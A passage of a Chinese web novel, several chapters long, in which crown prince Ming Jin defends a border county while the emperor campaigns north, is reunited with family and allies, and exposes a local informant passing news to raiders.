晏祁在信上写了数日可归,明瑾没看过宁昌县的粮仓储备, 也不知道这个“数日”具体是几天, 指不定他千里迢迢把元栋打包北上,人还没到呢,这边就打完了。 哎,难啊! 明瑾忧心忡忡地叫来目前值守宁昌县的最高长官,是个叫樊通的小将, 比他大不了几岁, 据说, 是这次跟随晏祁北上的樊淮将军的子侄。 他仔细询问了樊通宁昌县目前的守备情况, 包括了军械、粮草和人员等等,之前尽管跟在晏祁身边已经听过了一遍, 但现在大部队离开,他还是要重新将这些清点过才能放心。 对于明瑾的问题,樊通都一一认真回答了。 见明瑾神情紧绷,似是有些魂不守舍, 他没忍住,最后又补充道:“殿下不必太过担忧, 陛下给您在仓库里留了足够的粮食,箭矢什么的也都管够。宁昌县虽然只是边陲之地,因为常有零星胡人南下劫掠, 当地百姓也在县外修筑了土墙,足以御敌了。” 明瑾叹道:“我就是这样才会担心啊!粮食都给我们了,那他们行军路上吃什么?不知道的,还以为他是活腻歪了,要去当敢死冲锋的呢。” 这话樊通可不敢接,只能干笑一声。 明瑾却越说怨气越大,“况且,他这么多年都待在京城,也没见过他打仗,结果现在居然要御驾亲征?也不怕朝廷那些大臣知道了,当场撞柱子给他看!” 樊通和他的长辈显然是一个性子,都是性格秉直不会说话的军中汉子,绞尽脑汁,也只是干巴巴地挤出一句话来:“陛下他……吉人自有天相。” “行了,你下去吧,”明瑾瞅了他两眼,觉得这小子有点儿木楞楞的,不禁扶额,“晚上记得叫巡逻的人切莫懈怠,周边几公里内,有情况第一时间向我报告。” “是。” 樊通如蒙大赦,快快地走了。 晏祁离开,明瑾也没心思好好休息,干脆叫人把县衙内的一间偏房收拾出来,方便他随时休息办公。 但这注定是个不平静的夜晚。 明瑾一直忙着查漏补缺,直到后半夜才有空闲入睡。 天尚未亮时,县衙外面传来一阵闹腾的动静,他意识虽疲惫倦怠,却还是猛然从沉睡中惊醒。 明瑾睁开眼睛,从枕下摸索到自己藏好的匕首,紧握在手中,扬声朝外面喊道:“是谁在外面?” 喧闹声刹那寂静。 明瑾一颗心高高悬起,暗想该不会睡一觉起来,整个县就都被胡人给攻占了吧?他不是叫樊通有情况就汇报的吗! 还是说他昨晚根本就是被人下药了,其实睡得比猪还死? 他飞快地跳下床,环顾一周,发现这屋子着实选的不好,竟然只有一扇门,连窗户都没有,没办法,只得藏身在门后,准备等人进来时出其不意地突围或是挟持人质离开。 千万……先生那边,可千万不能出事啊! “咚!” 一只脚狠狠踹开了门,明瑾眼神一凛,当即便扑上去勒紧那人的脖颈,躲藏在那人身后,匕首一横威胁道:“滚出去!” 那人被勒得咳嗽了两声,嗓音沙哑,气急败坏道:“白眼狼,老子千里迢迢跑过来帮你,你叫谁滚呢?” 听到熟悉的声音,明瑾呆了一瞬,然后瞬间松开了手臂。 他退后一步,不可置信地瞪着眼前的张牧:“你怎么来了?” 张牧忙着咳嗽,只是白了他一眼,没空搭理他,边上的荀婴帮他说了:“主公,不止他一个,您不如瞧瞧这边呢?” 明瑾刷地扭头,视野中一张张久违的熟悉面孔叫他瞳孔震颤,尤其是,当他在人群中看见了明敖和文轻尘时,更是鼻头一酸—— 明敖笑眯眯地张开怀抱:“好久不见了,儿子……” “娘!” 他看着明瑾毫不犹豫地越过自己扑进文轻尘的怀抱,脸上的微笑险些没撑住。 明敖悻悻然放下手,气不打一处来地瞪着这臭小子的背影:“有了娘忘了爹,真是白疼你了!” 明瑾才不理他,虽然看到明敖他心里也是高兴的,但最重要的肯定还是娘,“娘,您怎么来了?您才生完弟弟,身体吃不消的!” “这都在家休养多长时间了,早恢复了,”文轻尘还特意抱着他掂量了一下,又拍拍自己腰侧的佩剑,豪迈一笑,“你娘我可不是什么娇滴滴的小姑娘,上了战场,你小子估计还不如我能打呢!” “娘……” 明瑾激动了好一会儿,又和李司以及带他们过来的樊通打了声招呼,这才看向明敖:“爹,你们怎么会出现在这里?” 满打满算,他和先生那封信送到京城也没多长时间,除非他们一收到信就整装出发了,否则怎么能这么快? 而且如果他没记错的话,他好像是给张牧他们写的信吧? “是我自作主张,叫明家主他们过来共同商议的,”荀婴开口道,“明家的人脉广泛,打听到了一些情报,正好当时金指挥使前来,也同我们说了一些事情,我们便决定北上来找你了。” 李司补充道:“明家、张家还有我们李家押运的粮食还在路上,这些辎重运起来比较慢,可能要过几天才能到。” 李家经营茶庄生意,虽然不如当初的明家家业大,但胜在做生意的范围广,对于各地的镖局运输、人情打点,就连鼎盛时期的明家也要稍逊一筹。 明瑾无言,最后只是用力拍了一下李司的肩膀,表达了自己的感谢。 他们之间,无需言谢。 这样就足够了。 果然,李司只是一如往常地憨憨一笑,明瑾收回目光,叫他们先进正堂就座,然后迫不及待地问道:“元栋,到底是什么情报?” “这个我来说吧,”明敖抿了一口茶,抬头道,“瑾儿,想必你知道,但凡是酒楼或是大些的当铺,都要养一些‘闲人’作为眼线。” 明瑾点点头。 这些闲人平日里作用不大,但往往把控着整条街的当铺价格,这也是为何一个人进了一条街上的不同当铺,获得的报价往往统一、甚至一次比一次更低的原因。 他们的工作,就是替掌柜收集情报、传递消息,如有必要,也会帮忙在街头巷尾散布一些风言风语。 “我们明家的闲人,近来就听说了这样一则消息,”明敖放下茶杯,神色凝重,“有几位边境来的商贩,在暗中打听当初宁昭公主留下的那笔财宝的消息。” “那闲人跟我说,他过去曾经在边境待过数年,一眼就看出来,这些商贩,虽是大雍人,但必定常年跟胡人做生意!” 明瑾身体微微前倾,追问道:“为何?” “因为他们手上的那些玛瑙松石,都是只有北边的贵族才能佩戴的,一般的人,根本没门路弄到这么极品的货色。”明敖看着他说道,“瑾儿,你可知道这意味着什么?” 明瑾神情阴晴不定,他从小生活在商贾之家,自然清楚某些商人的无利不起早。 不是人人都像他们明家这样,从不与民争利,这些人为了获取利润,什么丧尽天良之事都愿意做,区区叛国算什么? “但他们只是商贩,手上没有私兵就成不了什么气候,打听消息,或许是出于贪财的缘故。” 明敖并不完全赞同他的想法:“瑾儿,你在江南待久了,不知道这边的商贩若是坐大,完全可以做到官商勾结,只手遮天,一旦真正开打,就算断不了陛下的粮草,拖延一段时日还是绰绰有余的。” 这也是他们为何要尽快北上,并且私下筹集粮草送来的原因。 当初宁昭公主和木帆夫妇两人的悲剧,明敖和文轻尘两人,决不允许再重演在明瑾的身上! 明瑾心中熨帖,为爹娘这份拳拳爱子心意,更为友人对他的牵挂之情。 但他其实更在意另一件事,“对了,那金柳又说了什么?” 荀婴接过话头:“金柳没有跟我们讲太多,就说内奸的事情由他和宫里那位宁先生负责,叫我们不必操心这些,应该是陛下对他们另有安排。” “但有一点,我觉得很奇怪。” “哪里奇怪?” “他走之前,问了张牧一个问题。” 明瑾望向一直揉着脖颈没发言的张牧,张牧瞥了他一眼,放下手,“他说我跟你从小就认识,关系应该不错,问我有没有从你这儿听说过陛下在北地的事情。” “比如,陛下有没有什么关系特别好的胡人朋友,或是仇人。” 明瑾的脑海里瞬间闪过一个名字: 撒乌楞。 好好的,金柳为什么问起他? 明瑾陷入了沉思,在座众人都默契地没有去打扰他。 “这个人,就是此次率军潜入我大雍境内的胡人首领,”许久之后,明瑾缓缓出声,“虽然不知道他与先生当初究竟有什么过节,但关于你们所说之事,我这边,也正好有一个人证。” 他叫人把原先明光寨的刘大壮喊了过来。 “殿下!您有何吩咐?不管是上刀山下火海,只要您一声令下,小的……咳,属下必定拼死完成!” 刘大壮被私下传唤,显然极为兴奋,就差没拍着胸脯给明瑾立军立状了。 明瑾问道:“听说你识字?” 刘大壮脸色一僵,冷汗霎时就下来了,含含糊糊道:“属下只会写自己的名字,不算睁眼瞎罢了。” “那你可还记得那天你们抓到的胡人探子?” 刘大壮松了口气,点点头,恍然道:“您是问他写的那个关于宝藏讯息的字儿吧?巧了,这个我还真记得!” 他用沾了水的手指,在地上歪歪扭扭地写下了一个大字,横不平竖不直,丑陋得能叫但凡上过几年私塾的人看了都忍不住皱眉。 但在场所有人,都只是死死地盯着那个偏旁几乎和右边一般大、形状极为别扭的字体,陷入了一片诡异的沉寂之中。 究其原因,不是因为刘大壮写的字不堪入目。 而是那个字,不偏不倚,恰好是一个“明”字—— 作者有话说:一个埋了很久的伏笔,几十章了终于要收回来了…… 第88章 怨气还挺大 “这是什么意思?” 明敖盯着那个字, 又抬头看了看同样神色凝重的明瑾,明显有些坐不住了。 刘大壮挠了挠头说:“回大人的话,属下也不清楚, 那胡人当时说的, 这字儿是当初开战前, 公主殿下对身边人说的线索,还信誓旦旦地说这笔财宝大到足以颠覆一个国家, 听着就玄乎。” 荀婴追问道:“那除了这个明字以外, 他就没有更多旁的信息留下了?” 刘大壮实诚地摇了摇头。 “我有个猜测,”张牧佯装思索,一脸深沉道,“这次胡人偷偷进犯,说不定并不是打算与我们大雍开战, 而是那瓦图尔的首领贪财好色, 缺钱了, 派手下来找宝贝的!” 李司恍然大悟:“这样就说得通了, 张牧你好聪明啊。” 一听到张牧这个名字,刘大壮不禁露出了侧目之色, 飞快地瞥了一眼那真张牧,脸上的表情略显微妙。明瑾注意到了他这个小动作,赶紧咳嗽一声,把众人的注意力吸引到自己身上。 “如果只是为了找宝藏, 撒乌楞没必要带这么多人,”他说, “而且你们忘了,金柳还特意问过,先生在北地是否有仇人?” “虽然我不知道他当初怎么和先生结的仇, 但胡人性格多直来直去,睚眦必报,这撒乌楞想必也并不例外。” 张牧反应很快:“你是说,这人是在公报私仇?” 明瑾点了点头。 “应该有一部分原因,”荀婴接上了明瑾的话,“但也有一种可能,他想借此机会,把宝藏和大雍边境一部分土地统统笑纳,借此来向瓦图尔的首领邀功。” “瓦图尔部族占据王庭后,至今还未曾对手下各部族的势力范围进行划分,撒乌楞若想帮自己的族人争取到更大的地盘,眼下便是他最后的时机。” 张牧嘶了一声,在座位上有些坐立难安,明瑾见他一副屁股底下长钉子的刺挠样,没好气地问道:“你干什么呢?” “没干啥,就是不明白,”张牧闷声道,“管他想干什么呢?那个瓦什么撒什么的,总归是不安好心,要是想来搞事情,打跑不就行了!还用得着考虑这么多?” 一直没吭声的樊通非常赞同地点了点头。 明瑾翻了个白眼,典型的武夫想法,不过,说的倒也不是完全没有道理。 对于现在的他们来说,多想无益,还不如以不变应万变。 “地库里火铳的数量可有统计过?”他问樊通,“这次咱们粮食应该不用再担心了,只是土墙到底不比城墙,撑不住胡人几次冲锋的。” 樊通点点头,报上了一个不算多、但同样也并不少的数字。 明瑾却一听就气笑了——宁昌县一共才多大?就算是边境地带幅员辽阔,正常来讲,也不可能有这样多的火铳储备。 唯一的解释就是晏祁还特意留下了一部分,说明这老家伙这次出行肯定带了不少武器,他是早有打算! “算了,”他叹了口气,抬头道,“爹娘,你们大老远过来,舟车劳顿,也辛苦了,今天就先回去休息吧,反正咱们也没什么事,我叫张牧他们留下帮我就行。” 毕竟上了年纪,熬了一通宵,明敖和文轻尘的确有点儿撑不住了,见儿子体谅他们,两人也没推辞,很痛快地随着明瑾安排的人一同离开了。 剩下一群人,则乌泱泱地来到了宁昌县的地库。 张牧盯着那些火铳武器,眼睛都像是在放光,忍不住怂恿道:“明瑾,有没有想过咱们也可以主动出击?” “你当我不想吗?”明瑾发愁道,“可我们连胡人在哪儿都不知道!” “你不知道陛下去哪儿了?” “只约莫知道个方位,我猜他可能现在在居庸关附近,但也不完全确定……” 张牧看着他,上下打量了许久,明瑾被他看得后背发毛,不由得退后一步,谨慎道:“你看什么?” “看你啊,”张牧理直气壮道,“怎么,你俩都见面这么久了,还在闹矛盾呢?” “……谁跟他闹矛盾了!” 一听这话,一旁的荀婴立马和李司交换了一个心照不宣的眼神。 这不是闹矛盾,还是什么? 明瑾气道:“少来,我也是受害者好吗?这老混蛋打发我去外面找援军,我半道上提前跑回来,结果发现他竟然跑得比我还快!连通知都不通知我一声,怎么,当我是洪水猛兽,跟防贼一样?” 怨气还挺大。 张牧乐呵着弯腰拾起一把钢刀,握在手里掂量了两下,又舞了个刀花,嘴上道:“我是不懂你俩这弯弯绕绕,但陛下这么做,肯定是因为担心你啊,自古有御驾亲征,也有太子带兵出征,可哪有鸡蛋放在一个篮子里的道理?” 明瑾不吭声。 他自然是明白这个道理的,但也知道,如果当时自己要在场,肯定会要求随晏祁同去。晏祁就是太了解他了,自己一遇到关于对方的事情,情感就很容易压过理智,因此根本就没给他选择的全力。 但果然还是很生气! “等他平安回来再说吧。”明瑾扭开头,不想再继续讨论这个话题。 余光却忽然瞥见了什么,他疑惑地咦了一声,大步走了过去。 角落的柜子里,放着一把陈旧破损的长剑,剑柄上刻着阴阳双鱼的图案,绑带被血色浸染,应是曾经大战时留下的,一看就知道很有年头了,那血的颜色暗得近乎发黑。 “这是……” 明瑾抬高剑柄,看到侧面刻着两个小篆字体。 这字他不认识,但在场有人认识。 “是‘木帆’。”荀婴看了一眼,肯定道。 “所以这是我爹的佩剑?”明瑾有些发愣,他盯着那把边缘都已经钝化的剑许久,伸出手,轻轻抚摸了一遍。 冰凉的触感,仿佛深夜的寒雾,只一瞬间,便又将他的思绪拽回了那个通宵翻阅《宋史》的夜晚。 而他甚至都未曾见过那个男人。 明瑾有些发怔地想,他犹如此,那先生呢? 他曾与爹娘共同在这里生活过,或许自己不经意间路过的某个地方,先生也曾经来过。一把旧剑、一处旧屋、一棵老树……他身处其中,怎能不怀念,又怎能不恨? 明瑾又走到那柜子前,仔细翻找了一通,在确定没有其他的遗物后,他带着众人走出地库,将剑交给了宁昌县中的铁匠。 “看来你是想通了。”张牧枕着脑袋说道。 “什么叫想通?”明瑾望着头顶的蓝天,今天又是个晴空万里的好天气,“只是觉得要是那老家伙真有个什么万一,我肯定也会做跟他同样的事情罢了。” 他站在原地,怅然了一会儿,回过神来发现身边已经许久没有动静,不禁心中一暖,心想张牧这人虽然平时咋呼欠揍了点儿,但关键时刻还是很有兄弟义气的嘛。 刚要转头别扭地道声谢,就发现左右早就没人了。 明瑾神色一僵,飞快环顾一圈,发现这混蛋竟然不知道什么时候溜到了马厩那边,正跟孙洛聊得火热。 明瑾:“…………” 他就不该指望这家伙有良心! 他大步走过去,远远就看到张牧抚摸着一匹枣红色的高头大马,脸上浮现出一种近乎于痴迷的神情来。 张牧压根儿没注意到明瑾正气势汹汹地奔着自己而来,只顾着抚摸爱马,连眼神都舍不得移开。 他问孙洛:“这马可有主人?” “暂时没有。但若是大人想骑,您可以自便。”孙洛看到了张牧是和明瑾一起的,以为这位也是什么京中来的大人物,赶忙回答道。 “不错。”张牧夸奖了一句,给了他一个鼓励的眼神,“你叫什么名字?” “属下孙洛,曾是昭明军旧部,”孙洛自豪道,又紧接着询问,“不知大人如何称呼?” “张牧。” “…………” “怎么了?”张牧一脸奇怪地看着他,“怎么这么看着我?” “咳咳!”明瑾重重地咳嗽了两声,走过来把张牧拉走了,“你先别忙着骑马,县衙里的活还不少,快来帮忙。” “等等!我就骑一会儿!” 明瑾敷衍道:“等你干完了再骑。” 张牧追问道:“那俸禄呢?” 明瑾佯装吃惊:“什么?为国尽忠,你还要什么俸禄?” “滚蛋!你这是空手套白狼我跟你说,等陛下大胜归来,我一定要当面告状……” 孙洛望着两个年轻人拌着嘴离去的背影,许久之后,忽然笑了笑,拍拍马儿的脊背:“小家伙,看来你不用等太久了。” 他比谁都明白,一匹战马,最大的不幸,不是死于战场,而是老死于骈枥之间。 活了这么多年,孙洛自然能看出来,这位太子殿下,虽然性格还略显幼稚,行事作风也并没有陛下那般成熟稳重,但同样是个有大志向、心怀百姓的人。 陛下离开,他纵使再担忧再气愤,也未曾放下过手头的后勤工作,甚至还做好了最坏的打算和随时支援前方的准备,发号施令时有条不紊,简直不像是个十几岁的少年人。 孙洛想了想自己十几岁的时候,还在军营里跟那群老兵比赛谁上树爬得更高呢,为此还被上官责骂了一番,洗了足足一个月的脏衣服。 有这样的储君,乃是他们大雍最大的幸事啊—— 作者有话说:明小比在外人面前一向很乖[狗头]放心,马上就要重逢了 第89章 让这老混蛋也尝尝心急如…… 晏祁走后的第三日。 清晨, 一股更加汹涌的寒流席卷了边境地界。趁着天寒地冻,明瑾下令,让县内的青壮年们在宁昌县周边的土墙上再浇筑一层冰水。 在这个滴水成冰的时节, 铸造一座冰城, 是最简单、也是成本最低的防御胡人骑兵的方法。 虽然这样一来, 里面的人出县麻烦了些,但作为非常时期的防守, 却是远远利大于弊的。 而一群血气方刚的男人聚在一起干活时, 免不了要闲聊几句八卦。 有的人吹嘘说他们亲眼见过陛下,有的则赌咒发誓先前太子殿下来巡查时跟他讲过话,更有甚者,直接放出豪言,说自己二表哥家的邻居的二姑妈生的儿子就在县衙当差, 还亲自伺候过陛下和太子, 个个都说得那叫一个信誓旦旦, 煞有其事。 人群中, 一个身材矮小、长相其貌不扬的汉子一直闷不啃声地听着他们你一言我一语地争执。 等到晌午时分,众人都闲下来吃饭休息时, 他这才期期艾艾地凑到其中一个人的身边,正是那位二表哥家……总之是在县衙当差的那位,“兄弟,你真认识那位在县衙当差的?” 那人不屑地瞥了他一眼, 哼笑道:“那当然!我诓你做什么?” “就好奇,想问问, ”矮个子讪讪一笑,又不死心地问道,“那你那二表哥可知道, 咱们县总共有多少兵啊?” 那人刚要张嘴回答,忽然警惕:“你问这个做什么?” “这不是担心嘛,”矮个子叹气道,“听街上都在传,说陛下御驾亲征去了,县衙里是太子坐镇,咱们要是没有个重兵把守,万一胡人偷袭,岂不是全完蛋了?” “嗨呀,这个就不是你我该操心的事儿了,”那人好心劝道,“而且我看太子殿下也挺有本事的,这段时间县里人出不去,也没断粮啊,连米价都没涨呢!你呀,有这个闲心操心人家贵人的事儿,不如老老实实把手头的活儿干完了,早点去衙役那儿零工钱。” 矮个子暗骂这人油盐不进,但表面上只是憨笑了两声,应和下来,没一会儿,就扭头又去找其他人问了。 被他问的那男人觉得此人很是胆小,还有点儿莫名其妙,也没当回事,直到傍晚结算工钱时,有个士卒走过来,大声宣布太子殿下有旨,若有人敢在战时勾结外人,与异族传递县内情报消息,一律按照叛国罪论处。 他回去后左思右想觉得不对,就把今天这事儿跟媳妇说了,还好媳妇是个有见识的,沉思片刻后,告诉他咱没有确切证据,不能随便诬告。 因为那乌老三跟他们住在一条街上,勉强也算得上是邻居,在宁昌县这个算不得大的地盘上,大家都是抬头不见低头见的,就算乌老三这人是个怪人,向来独来独往,但也毕竟在这儿生活了这么些年,问这些问题,也可能只是出于担忧自己的小命而已。 “那……难道就不管他吗?”那人犹疑道,“万一他真把情报出卖给胡人,岂不是咱们都得遭殃?” “这样,以后白天上工,你盯着他,早晨傍晚我上街采买,我来留意他家的动静,”媳妇提议道,“反正晚上县周边防守森严,他就算想干什么也溜不出去。” 他点了点头,深表赞同。 “要是真能抓到一个奸细,咱们家肯定能得到太子的一大笔赏钱!”他眯眼笑道,一脸心驰神往,“前两天不就有一个,牛二毛他们家,也不知道走了什么狗屎运,那奸细慌不择路竟然躲到他家牛圈里去了,被牛二毛逮住送到了县衙。” “听说当时太子殿下不仅亲自接见了他,还赏了他足足拳头那么大的金子!这可是足金啊!” 他的语气不无嫉妒,搂紧身边的媳妇,忍不住畅想起来。 甚至恨不得乌老三就是奸细,赶紧被自己抓到再领了赏,叫他们一家人都过上天天能吃上一顿肉的好日子。 媳妇倒没他这么乐观,还劝他小心着点儿,别打草惊蛇了,他嗯嗯啊啊地应着,不知为何,想到白日里乌老三那副小心翼翼来询问的样子,他怎么看怎么觉得有鬼。 贼眉鼠眼,定然是奸细没跑了! 果然,又过了一日,乌老三在上工时佯装肚疼,跟监工讲了一声就捂着肚子跑了。 他一看,立马也待不住了,匆匆找了个借口就跟了上去,见乌老三压根儿没去茅厕,更是坚定了内心这人就是奸细的想法。 只是他也疑惑,乌老三一个人,该怎么通过外面的层层封锁,把消息送到胡人手上呢? 直到他看见乌老三一路跑回了家,近半个时辰都没有再出来过,他暗骂一声,立刻冲上前一脚踹开房门,结果正好逮住了刚准备从自家炕洞里冒头钻出来的乌老三。 “好哇,你个龟儿子果然是在捣鬼!” 他一把抓住乌老三的衣襟,瞥了一眼对方身后黑漆漆的地道,也不知道究竟是什么时候挖出来的,破口大骂道。 乌老三被他骇得脸色惨白,险些魂飞魄散,嘴里不住地告饶。 还求他放过自己这次,等接下来胡人大军到了,他可以帮忙引荐胡人的头领,不仅保他们一家老小的性命,还叫他后半辈子有享不尽的荣华富贵。 又过了一会儿,乌老三见他不吭声,还以为是被说动了,说话的底气也更足了些: “你可别不信啊石头,我是亲眼瞧见的,陛下的军队被那胡人将军三两下就打跑了,全都四散逃开了!现在陛下是死是活都还不知道呢,光凭咱们一个县,还有一个太子,能打得过这些凶神似的胡人?” “陛下败了?!” “是啊,”乌老三还有点儿洋洋自得,觉得自己是个先知,其他人都还蒙在鼓里呢,“指不定太子那边也早都收到了消息,只是装作没事,哄咱们底下这些人呢。” 他拽了两下石头的手,苦口婆心道:“石头,我知道你是个好人,疼媳妇孩子也疼得紧,正是因为这样,才更该给你们一家人找个好出路不是吗?你想,当初宁昭公主和木将军那么厉害,也都败给胡人了,更何况她儿子……” 谁知,一听到他提起昭明军那两位,石头原本沉默不语的表情立马变了。 “你也好意思提他们二位?当初咱们一县人能活下来,全都是因为昭明军!是公主殿下和木将军救了咱们!后来,也是宁王……是陛下给了乡亲们一口饭吃,一条活路,叫俺们不至于饿死!” 他咬牙骂道:“况且胡人给的荣华富贵老子可没看见,但太子殿下赏的金子,满县的人都瞧见了!我石头虽然不是什么英雄,但也不是什么忘恩负义的小人,更不是睁眼瞎的白痴!” 接着毫不客气地打晕乌老三,把人扛到了县衙门口。 在士卒们警惕的眼神中,石头把昏迷不醒的乌老三往地上一丢,噗通一声跪倒在地,高声喊道: “羊头沟石头,求见太子殿下!” 明瑾当时正好在县衙里,很快便接见了这个叫石头的县民。 听完他三言两语的叙述后,他明白其中厉害,不仅叫人重重赏了对方,还带着人亲自去了一趟乌老三的家。 樊通握紧钢刀,跳进那地道里率先探查了一番,但他没走多远,约莫一炷香就爬上来了。 “殿下,这是通向县外头的,”他言简意赅道,“应该是百来年前刚开国时,大户修建的地道。” 大雍刚开国时,土地面积可比现在要大多了,北边的胡人被打得年年都要进京朝贡,还要时不时地送质子过来,宁昌县从前也不是个县,而是座面积算不得小的城池。 明瑾脸色凝沉,边上的张牧几人也不好开口,因为他们都刚刚从石头口中得到了陛下兵败的消息——虽然荀婴提出这可能是陛下的诱兵之计,但这毕竟只是个猜测。 “把人叫醒。”明瑾下令。 一瓢水浇上乌老三的脸,冻得他猛地哆嗦一阵,睁开了眼睛。 等看到眼前站着的一群人,和为首模样气质一看就知道身份贵重的明瑾,他更是眼前一黑,恨不得当场再晕过去。 “殿下……殿下!”乌老三能屈能伸,等反应过来后立刻就要膝行向前,抱住明瑾的大腿求饶,“小人只是一时鬼迷心窍,这才……啊!!!” 张牧一脚把人踹翻,居高临下道:“谁允许你过来的?” 乌老三捂着剧痛的肩膀,蜷缩在地上,疼得几乎说不出来话。 明瑾盯着他,右手按在腰侧的剑柄上,眼神并无半点怜悯:“说,你这些天都给胡人传了什么消息过去?” 乌老三怕死,不等张牧继续动手,就忙不迭地全部交代了。 “一共有几个胡人跟你接头?” “约莫十几个,一支小队。” “你们下一次见面定在什么时候?” “后、后天下午。” “行。”明瑾随即转向樊通,“樊小将军,麻烦你这两日清点出一百士卒,提前埋伏,孤要将这帮胡人一网打尽。” 樊通当即抱拳应下,明瑾还欲讲话,荀婴忽然给他递了一个眼神,他怔了怔,闭上嘴巴,看着荀婴上前一步,淡淡道:“你所说的这些,我们一个字儿也不信。” 乌老三吓得连连后仰,求饶道:“这位小爷,不对,这位老爷,我说的这些,句句都是真话啊!陛下是真的败了,我亲眼看见的……” “闭嘴!” 明瑾突然忍无可忍地出声喝道,荀婴见他情绪不对,立刻追问乌老三:“既然如此,那胡人为何这些天来没有其他动静?为何不进犯宁昌县,或是别的城县?” “这……小人也不知……” “你不知?”荀婴笑了一声,“那你为何信誓旦旦地跟石头说,胡人的大军马上就要来了?” 明瑾看到乌老三抖着唇,半晌说不出话来,顿时恍然。 “还好元栋你在,”他由衷道,“不然就真被这混蛋蒙骗过去了。” 乌老三所说可能的确不假,但有时候,选择性省略的真话反而比十足的谎言危害更大。 “你知道胡人主力的目标其实是宁昌县,并且还知道他们的进攻时间,是不是?” 大势已去,乌老三也只能认命。 他承认自己确实知道一些,但具体的时间不清楚,只大概知道胡人进犯的时间是在三天之内;同时,还坦白了其实他根本没见到晏祁兵败溃逃,只是听那些胡人嘲讽过,觉得他们所说不像是假的而已。 把他身上最后一点有价值的情报都榨干后,明瑾挥挥手,叫人把他先带下去关押在县衙的地牢里,然后又当众夸奖勉励了石头一番,把人激动得脸颊通红手脚都不知道往哪里放了。 等处理完这些后,他这才带着人回了县衙,准备商讨接下来的应对事宜。 “奇了怪了,”张牧有一点不太明白,“既然陛下他们没碰上胡人的主力,也就是撒乌楞他们,那为何胡人会说他们兵败?” 荀婴分析道:“居庸关易守难攻,可能这是陛下诱敌出谷的计谋,只是没想到那撒乌楞也有两把刷子,打算先攻宁昌县,再和居庸关的胡人守军行成掎角之势,两面合围。” “现在比拼的就是时间,接下来的局势,就看究竟是胡人更快攻占宁昌县,还是陛下更快拿下居庸关了。” 明瑾听荀婴这么一分析,虽说情况严峻,但他心里还有些窃喜。 自己一直想着怎么才能援助晏祁那边,现在看来,反倒是晏祁该想方设法地回援了? 哈哈,当真是天道好轮回! 他恶狠狠地想:活该!人算不如天算,就该让这老混蛋也尝尝心急如焚的滋味。 一旁的张牧纳闷道:“可要是这么说的话,都过去好几天了,胡人怎么一直不来?” 李司猜测:“可能是有事绊住了?” 张牧无语,刚想说你还是少动脑子吧,主座山明瑾眼眸一闪,忽然道:“有道理。” “别忘了财宝的事情,”他说,“他们可能是在边境地界找和‘明’有关的事物,只是一直未曾找到而已。” 荀婴脸色一变,张牧不明所以地看着他:“怎么了?他们应该还没找到吧?” “不……” 荀婴强迫自己定了定神,抬头望向明瑾:“我想,他们可能认为,自己已经找到了。” 明瑾是宁昭公主之子的事情,全天下都知道,但他从小被寄养在明家,改姓的事情,在这边远地界却少有人知。 就连樊通,对此事都是一知半解,直到他们几个从京城到来,除了他习惯唤主公外,而张牧和李司在大多数时候都是直呼其名的。 乌老三执着于打听县衙的消息,或许就是在这个时候,传入到了他的耳中。 明瑾靠在座位上,单手支着脸颊,闻言,冷冷地勾起一抹笑容。 “那就让他们来好了。”他说—— 作者有话说:下章见面~ 第90章 “我是太子的人。”…… “陛下, 情况似乎不太对劲。” 又一次挑衅诱敌失败,风雪之中,樊淮勒马回到晏祁身旁, 神情凝重道:“咱们已经出来好几日了, 连撒乌楞的影都没看见, 以臣之见,恐怕他是刻意避开了咱们, 另有打算。” 晏祁同样眉头紧蹙。 按理来说, 无论是从利益最大化还是私人仇怨出发,撒乌楞都该率军直奔自己所在方位才对。 然而这些天来,居庸关内的胡人守军一直不肯离开关隘,与他们正面交战。 他耐心等了几日,本以为撒乌楞也同样在等待时机, 准备趁居庸关守将支援撒乌楞时, 一举拿下居庸关, 但派士在关隘下卒挑衅数日, 却连这家伙的影都没看见。 一定是自己忽略了某个关键因素,晏祁想。 以撒乌楞对他的仇怨之深, 晏祁毫不怀疑,对方估计做梦都想要取他的性命。 毕竟当初若不是自己,撒乌楞也不会被胡人王庭鞭笞驱逐,直到数年后, 才因立下大功重掌兵权。 但经此一遭,撒乌楞的地位却是一落千丈, 曾经能与瓦图尔平起平坐的部族首领,现今却沦为了瓦图尔麾下的追随者,这份落差, 足以叫本就记仇的撒乌楞对他恨之入骨了。 所以,究竟是什么让他暂时搁置了复仇? 晏祁按下内心莫名的不安,他深吸一口气,抬首望着眼前被漫漫风雪遮蔽、几乎难以窥见全貌的高耸关隘,在樊淮的注视下,沉声下达了命令:“既如此,那便不用再等了。” “今夜,全军强攻!” 另一边的宁昌县内,明瑾等人也在紧锣密鼓地开展着战前准备。 乌老三被他们来回审了几遍,在榨干了最后一点情报后,终于确定胡人接下来的目标就是宁昌县。 为了确保不打草惊蛇,明瑾还叫樊通带着乌老三又进地道去找了一趟胡人,虽然过程惊险了点,但好歹有樊通全程监视,这乌老三也没翻出什么浪花来。 他乖乖地把明瑾他们准备好的说辞对胡人讲了一遍,又期期艾艾地问道各位老爷打算什么时候来,他好和旁边这位兄弟一起偷偷去县衙放把火,里应外合接应他们。 胡人显然不相信乌老三这个三寸丁有这样的能耐,领头那位嘲讽地笑了一声:“这不是你该知道的事情,老家伙。” 乌老三一张脸涨得通红,瞥了樊通一眼,低下头没说话。 樊通则不卑不亢地与那胡人对视:“如果我说,我知道宁昭公主那笔财宝的线索呢?” 那胡人脸色微变,立刻几步上前揪住他的衣襟:“你是什么人!?” 樊通冷笑,毫不避讳道:“我是太子的人。” 不等对方动手,他就再度补充道:“是——那位太子殿下。” 他意味深长的语气叫那胡人动作一顿,而樊通在想的是,荀小先生所料不错,这人果然被带偏了:“你是前太子的人?” “不是前太子,”樊通立刻沉下脸来,一巴掌打开他的手,“是太子殿下。这大雍朝,有且仅有一个太子殿下,这个位置,不是什么随随便便的冒牌货可以胜任的。” 那胡人虽然被冒犯了,却也没有生气,盯着他的目光反倒比看那奴颜婢膝的乌老三更欣赏些,“所以,你想代表你那位太子殿下,与我们胡人进行合作?” 樊通略一点头。 “笑话!宁昌县早就被我们首领看中,大军一到,顷刻便能踏平此地,你有什么资格来与我们合作?” “真若如此的话,你们就不会联系乌老三了,”樊通淡淡道,“还有,别忘了,晏祁还有一支军队在外头等你们呢。” 他在心里默默冲陛下告了一声罪。 直呼其名,实在是大不敬。 那胡人的脸色霎时阴沉下来,手也按上了刀柄,但最后还是松开了,转而扯出一抹生硬的笑脸来。 “可以,”他用略显生硬的大雍话说道,“我记得,你们大雍有句话,叫敌人的敌人就是朋友——我相信,我们一定能成为不错的朋友。” 